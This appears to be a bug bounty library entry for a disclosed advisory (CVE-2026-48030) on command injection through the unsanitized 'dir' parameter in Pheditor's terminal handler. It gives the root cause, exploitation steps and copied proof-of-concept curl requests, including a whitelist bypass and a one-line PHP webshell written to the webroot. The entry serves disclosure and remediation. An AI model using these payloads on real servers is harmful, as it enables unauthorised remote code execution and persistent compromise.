# Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter

Pheditor's terminal handler sanitized only the command parameter, so shell metacharacters in dir let any authenticated user run arbitrary OS commands and deploy a webshell.

- Payout: Research
- Severity: critical
- Program: Pheditor
- Found by: muslimbek-0x
- Disclosed: 2026-06-09
- CVE: CVE-2026-48030
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-jvc5-6g7q-c843
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-jvc5-6g7q-c843
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:php technique:source-review vuln:command-injection vuln:rce

**Target:** pheditor.php terminal action handler (PHP web IDE)
**Root cause:** The terminal handler validates shell metacharacters only on the command POST parameter, then concatenates the unchecked dir parameter into the shell_exec() string as 'cd ' . $dir . ' && '.
**Steps:**
1. Authenticate: `curl -c cookies.txt -X POST http://TARGET/pheditor.php -d "pheditor_password=admin" -L`
2. Extract CSRF token from the page via `grep -o 'token = "[a-f0-9]*"'`
3. Confirm whitelist blocks curl via command field: `action=terminal&command=curl https://ifconfig.me&dir=/tmp` returns `Command not allowed`
4. Bypass via dir: `action=terminal&command=ls&dir=/tmp; curl -s https://ifconfig.me #` returns the public IP
5. Deploy webshell: `dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #`, then request `shell.php?c=id`
**How found:** Code review of the terminal handler: noticed metacharacter checks applied only to $command while $dir was concatenated directly into shell_exec(), then tested the whitelist with a blocked curl command and re-ran it through dir.
**Exploitation:** Any authenticated user with terminal permission (default) sends a terminal action POST with a benign whitelisted command and a dir value containing `; <payload> #`; the payload runs as the web server user, enabling arbitrary command execution and persistent PHP webshell deployment in the webroot.
**Escalation:** Whitelist bypass via the unsanitized parameter escalates from restricted terminal commands to full RCE and persistent webshell, potentially compromising other apps on the same server.
**Insight:** When a handler validates one user-controlled parameter against a denylist, check every other parameter that reaches the same sink — here the 'cd <dir>' prefix is an equally injectable position, and the whitelist check on command gives false confidence.

## Proof of concept (copied exactly from the original report)

**Bypass whitelist via dir injection**

```
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/tmp; curl -s https://ifconfig.me #"


→ {"error":false,"message":"OK","dir":"<PUBLIC_IP>"}
```

**Full RCE via webshell write**

```
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #"

curl "http://TARGET/shell.php?c=id"


→ uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

**Confirm curl blocked via command field**

```
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=curl https://ifconfig.me" \
  --data-urlencode "dir=/tmp"


→ {"error":true,"message":"Command not allowed"}
```

